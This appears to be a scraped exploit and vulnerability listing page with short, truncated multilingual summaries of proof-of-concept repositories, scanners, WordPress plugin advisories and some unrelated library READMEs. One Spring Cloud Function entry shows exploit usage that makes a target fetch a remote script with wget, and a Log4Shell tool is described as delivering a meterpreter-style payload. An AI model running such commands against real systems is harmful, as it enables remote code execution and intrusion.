Open5GS-CVE-2025-41067-CVE-2025-41068-PoC

Open5GS NRF サービス拒否 CVE-2025-41067 & CVE-2025-41068 このリポジトリには、NewPlaneのOpen5GSで発見された重大度の高い2つの脆弱性に対するProof-of-Concept PoC エクスプロイトスクリプトが含まれています。これらの脆弱性は、攻撃者によってトリガーされることで、NRF Network Repository Function コンポーネントにサービス拒否 DoS を引き起こす可能性があります。 脆弱性の詳細 CVEs: CVE-2025-41067, CVE-2025-41068 影響を受けるソフトウェア:...

CVE-2018-13797

node-macaddress Linux, OS X, Windows에서 MAC 주소를 검색합니다. MAC 주소에 대한 일반적인 오해는 모든 호스트 가 하나의 MAC 주소를 가진다는 것이지만, 호스트는 여러 개의 MAC 주소를 가질 수 있습니다. 모든 네트워크 인터페이스 가 자신의 MAC 주소를 가질 수 있기 때문입니다. 이 라이브러리는 네트워크 인터페이스별로 MAC 주소를 찾을 수 있게 해주며, 호스트 시스템을 식별하는 하나의 MAC 주소만 필요하다면 적절한 인터페이스를 선택합니다 아래 API + 예제 참조. 기능: Linux,...

react-vuln-scanner

React CVE-2025-55182 漏洞扫描器 一个用于扫描服务器上易受 CVE-2025-55182 攻击的 React 应用程序的 bash 脚本——这是 React Server Components 中的一个严重远程代码执行漏洞（CVSS 10.0）。 ⚠️ 关于此漏洞 2025 年 12 月 3 日，React 团队披露了一个影响 React Server Components 的严重安全漏洞。未经身份验证的攻击者可以利用 React 在解码发送至 React Server Function 端点的 payload 时的缺陷，实现远程代码执行 。 受影响的软件包：...

COPG v6.9.8

🎮 COPG The most advanced device & CPU spoofer for Android — bypass restrictions and unlock premium graphics, higher FPS and exclusive features on most games and apps. ✨ Why COPG? COPG is a Zygisk module that makes most games and apps believe they are running on a different, fully‑featured flagshi...

Exploit for CVE-2026-85706

CVE-2026-85706 — GitLab Path Traversal IOC Scanner & Detection...

CVE-2021-30632

提供元: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632 このバグの分析はこちらで確認できます。これは匿名の研究者によって報告されたChromeのバグであり、実際に悪用されたと考えられています。 ここでのエクスプロイトは、v8バージョン9.3.345.16（コミット632e6e7）でテストされています。これは、バグが修正される前のChrome 93.0.4577.63に搭載されていたバージョンであり、Ubuntu...

filekey

🔐 FileKey FileKeyは、パスキーを使ってファイルをすばやく暗号化・共有できるオフラインWebアプリです。アカウント不要、トラッキングなし、クラウドなし。 🛡️ FileKeyは無料・オープンソースで、プライバシー最優先です。 filekey.app で公開中です。 🚀 特徴 ✅ 無料・オープンソース – GPLv3ライセンス。 ✅ アカウント不要 – ログインなし、トラッキングなし。 ✅ パスキーベースの暗号化 – 既存のパスキー、パスワードマネージャー、またはハードウェアセキュリティキーを使用。 ✅ クラウド不要 –...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE エクスプロイト これは、Spring4Shell（CVE-2022-22963）のPython実装です。この脆弱性は、Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

xlsx

SheetJS SheetJS Community Editionは、実戦で検証されたオープンソースソリューションを提供し、ほぼすべての複雑なスプレッドシートから有用なデータを抽出し、レガシーおよび最新のソフトウェアの両方で動作する新しいスプレッドシートを生成します。 SheetJS Proは、データ処理を超えたソリューションを提供します。複雑なテンプレートを簡単に編集。スタイリングで内なるピカソを解き放ちましょう。画像/グラフ/ピボットテーブルを使ったカスタムシートの作成。数式の評価と計算のWebアプリへの移植。一般的なスプレッドシートタスクの自動化など、さらに多くの機能があります。...

CVE-2026-85200

The GEO my WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.5.5.3 via the gmwpostslocatorajaxinfowindowloader function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the...

CVE-2026-78159

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parsearray function. This is due to insufficient validation of the widget 'classes' map, allowing a plain-array payload to bypass the issafewidgetinstance objec...

CVE-2026-78006

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.4 via the issafewidgetinstance function. This is due to insufficient protection in issafewidgetinstance, which can be bypassed because PHP fires magic methods during its...

l4srs

l4srs Log 4 Shell（log 4 j - CVE-2021-44228）のRust実装 ビルドするには cargo +nightly build を実行します このバージョンでは、コマンドクラスをビルドし、悪用されたJavaアプリのスレッド内で実行されるミニメータープリターを動的に配信し、LDAPサーバーとHTTPサーバーを実行できます。このバージョンは、LDAPリクエストとHTTPリクエストの両方を同じポートで処理します。 複数のポートで同時に実行して、ターゲットマシンでどのポートがegress（外向き）に利用可能かを確認できます。...

CVE-2026-78006 The Events Calendar <= 6.17.4 - Unauthenticated PHP Object Injection to Remote Code Execution

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.4 via the issafewidgetinstance function. This is due to insufficient protection in issafewidgetinstance, which can be bypassed because PHP fires magic methods during its...

CVE-2026-78159 The Events Calendar <= 6.17.3 - Unauthenticated Code Injection to Remote Code Execution via Widget 'classes' Map Callable Invocation

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parsearray function. This is due to insufficient validation of the widget 'classes' map, allowing a plain-array payload to bypass the issafewidgetinstance objec...

CVE-2026-78006

The Events Calendar WordPress plugin (versions ≤ 6.17.4 ) is vulnerable to unauthenticated Remote Code Execution via PHP Object Injection in the is_safe_widget_instance function. The root cause is a bypass of the unsafe-object guard: PHP magic methods fire during pre-parse, and enable_rendering_w...

CVE-2026-78159

The Events Calendar WordPress plugin (versions ≤ 6.17.3 ) is vulnerable to unauthenticated remote code execution via the Element_Classes::parse_array() function. Insufficient validation of the widget classes map allows a plain-array payload to bypass the is_safe_widget_instance() object check and...

CVE-2026-78159 The Events Calendar <= 6.17.3 - Unauthenticated Code Injection to Remote Code Execution via Widget 'classes' Map Callable Invocation

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parsearray function. This is due to insufficient validation of the widget 'classes' map, allowing a plain-array payload to bypass the issafewidgetinstance objec...

EUVD-2026-76832

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.4 via the issafewidgetinstance function. This is due to insufficient protection in issafewidgetinstance, which can be bypassed because PHP fires magic methods during its...

EUVD-2026-76833

The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parsearray function. This is due to insufficient validation of the widget 'classes' map, allowing a plain-array payload to bypass the issafewidgetinstance objec...